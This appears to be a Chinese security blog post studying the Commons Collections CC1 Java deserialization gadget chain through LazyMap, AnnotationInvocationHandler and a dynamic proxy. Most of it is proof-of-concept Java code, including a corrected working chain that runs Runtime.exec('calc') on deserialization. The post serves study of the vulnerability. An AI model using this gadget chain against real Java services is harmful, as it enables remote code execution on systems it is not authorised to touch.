boxmoe_header_banner_img

梦中的登神殿,天才的乱葬岗

加载中

文章导读

CC1&动态代理?有点意思


avatar
RootReapers 2026年5月17日 74

这篇主要是深入理解一下CC1(加上动态代理等思想去审计)


从终点回溯

CC1主要是因为有一个Transformer接口,在其实现类中有一个InvokerTransformer的构造方法和transform调用了危险方法


这里就有点动态代理第一步的样子了(一个接口的实现类)


从Runtime开始,写InvokerTransformer的形式

import org.apache.commons.collections.functors.InvokerTransformer;

import java.io.IOException;
import java.lang.reflect.Method;

import static sun.reflect.misc.MethodUtil.invoke;

public class POC {
    public static void main(String[] args) throws IOException, NoSuchMethodException {
        Runtime r = Runtime.getRuntime();
        InvokerTransformer invokerTransformerExec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        invokerTransformerExec.transform(r);
    }
    
}



往上找调用了transform的

找到LazyMap::get里面有

if (map.containsKey(key) == false) {
    Object value = factory.transform(key);
    map.put(key, value);
    return value;

看一下构造方法


受保护,但是有个public的static装饰器decorate调用了构造方法返回对象

public static Map decorate(Map map, Transformer factory) {
    return new LazyMap(map, factory);
}

分析一下get方法的逻辑

public Object get(Object key) {
    // create value for key if key is not currently in the map
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

判断构造方法传入的map对象是否包含get方法传入的key

如果没有,就让factory的transform把key转换一下,再放到map里

factory是decorate方法传入的,由我们控制


也就是说get(key)如果key是Runtime对象,而且map里面没有这个键

并且decorate传入InvokerTransformer

那么调用的就是InvokerTransformer.transform®了

也就是返回method.invoke(input, iArgs)直接触发rce

这样直接就能触发

甚至不用走到put


所以当前链是

InvokerTransformer::transform->LazyMap::Decorate->LazyMap::get


POC

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.IOException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

import static sun.reflect.misc.MethodUtil.invoke;

public class POC {
    public static void main(String[] args) throws IOException, NoSuchMethodException {
        Runtime r = Runtime.getRuntime();
        InvokerTransformer invokerTransformerExec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        HashMap<Object,Object> map = new HashMap();
        LazyMap map2 = (LazyMap) LazyMap.decorate(map, invokerTransformerExec);
        map2.get(r);
    }
    
}

往上找调用了get而且可控的,这个就很好找了(这玩意可太多了)

不对…这玩意太多了,反倒不好找,成千上万个

这里学习一下infer师傅的文章

JAVA反序列化——另一条CC1链


关键在AnnotationInvocationHandler::invoke

这个类有点眼熟

其实就是另外一条checkSetValue链的终点(当然也是这条的终点)


跳过去看一下


可以发现AnnotationInvocationHandler里面是实现了JDK官方动态代理接口的,也就是说AnnotationInvocationHandler是一个调用处理器



(上一张图截漏了)

记住我们的目标:调用可控get


invoke有调用可控get


而且invoke在动态代理中是自动调用的

memberValues由构造方法传入

这不就是上一篇动态代理中的这个吗


传进去然后调用readObject自动触发invoke,美美rce收工

写poc,睡觉去

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

import static sun.reflect.misc.MethodUtil.invoke;

public class POC {
    public static void main(String[] args) throws Exception {

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object,Object> map = new HashMap();
        LazyMap map2 = (LazyMap) LazyMap.decorate(map, chainedTransformer);


        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = c.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);

        Object o = construct.newInstance(Target.class, map2);

        serialize(o);
        unserialize("POC.txt");


    }

    public static void serialize(Object object) throws Exception{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("POC.txt"));
        oos.writeObject(object);
        oos.close();
    }

    //定义反序列化操作
    public static void unserialize(String filename) throws Exception{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        ois.readObject();
    }
    
}

是不是觉得没了,骗你的,压根弹不出哈哈哈哈



仔细分析一下吧

先看:真的调用invoke了吗?

打个断点看看

停住了

再看看有没有调用get

也调用了


看一下正确POC(感谢infer师傅)

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CC1_other {
    public static void main(String[] args) throws Exception {

        //序列化InvokerTransformer,反射调用exec函数执行命令。
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer =  new ChainedTransformer(transformers);

        HashMap<Object,Object> map = new HashMap<>();
        Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);

        //动态代理
        Class handler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructorhandler = handler.getDeclaredConstructor(Class.class, Map.class);
        constructorhandler.setAccessible(true);
        InvocationHandler invocationHandler = (InvocationHandler) constructorhandler.newInstance(Override.class,lazyMap);

        Map proxyedMap = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, invocationHandler);

        Object o = constructorhandler.newInstance(Override.class,proxyedMap);

        serialize(o);
        unserialize("POC.txt");
    }

    public static void serialize(Object object) throws Exception{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("POC.txt"));
        oos.writeObject(object);
        oos.close();
    }

    //定义反序列化操作
    public static void unserialize(String filename) throws Exception{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        ois.readObject();
    }
}

定位核心问题–>忘了写调用处理(相当于压根没用上动态代理)

Class handler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructorhandler = handler.getDeclaredConstructor(Class.class, Map.class);
constructorhandler.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) constructorhandler.newInstance(Override.class,lazyMap);

Map proxyedMap = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, invocationHandler);

Object o = constructorhandler.newInstance(Override.class,proxyedMap);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = c.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);


Object o = construct.newInstance(Target.class, map2);

代理有三要素:代理谁,谁代理,要干什么

LazyMap链子里

代理谁->LazyMap对象

谁代理->Proxy

要干什么->AnnotationInvocationHandler::invoke


理清楚了逻辑,我们要让Proxy代理LazyMap,然后去调用AnnotationInvocationHandler::invoke


首先创建Proxy代理对象,它需要啥?

1.代理什么类?

2.代理什么接口

3.调用处理器是哪个?


这里缺什么?调用处理器的对象

那就先创建调用处理器

InvocationHandler handler = (InvocationHandler) construct.newInstance(Override.class,map2);

construct是AnnotationInvocationHandler的构造器,原生创建出来肯定是AnnotationInvocationHandler对象

所以可以强转一下


拿到调用处理器对象了

构造Proxy代理类

Map proxy = (Map) Proxy.newProxyInstance(c.getClassLoader(), new Class[]{Map.class}, handler);

这里有个涉及底层的问题,为什么可以强转Map,有不懂的师傅可以看这个

代理类也拿到了

是一个Map对象(强转的)

还记得刚才的目标吗?让代理类帮LazyMap去完成调用写在invoke方法里面的get

不创建动态代理就走不到invoke,所以只能用代理类去走

接下来就是触发

Object o = construct.newInstance(Override.class,proxy);

创建最终对象,让proxy去代替LazyMap


还有个小细节还是再走一下吧,就是关于readObject时的注解为什么可以是Override(Claude指出的,确实漏了这个)

这几个地方断一下点(之前那个TransformedMap链也是调的这几个)


慢慢调

annotationType没拿到东西,for循环那里直接跳了,压根没走

分析一下为什么

Type是我们传的Override

我们知道,Override是空的,没有成员,走到for或者是里面的if时就走不下去了


那为什么这里能走通

仔细看,memberValues是我们传入的proxy,也就是LazyMap的代理

我们并没有往LazyMap里面put值,它是空的,那Proxy肯定也是空的


Proxy是空的,for循环第一次遍历它就出去了

但是这一次遍历

for (Map.Entry<String, Object> memberValue : memberValues.entrySet())

memberValues.entrySet()被触发了

entrySet()是代理类Proxy的,或者说是LazyMap类的

这里可以看到,只要实现Map接口都有entrySet

这里就是一个方法调用,有了方法调用,触发invoke,然后反序列化触发readObject走完全程





评论(0)

查看评论列表

暂无评论


发表评论

表情 颜文字
插入代码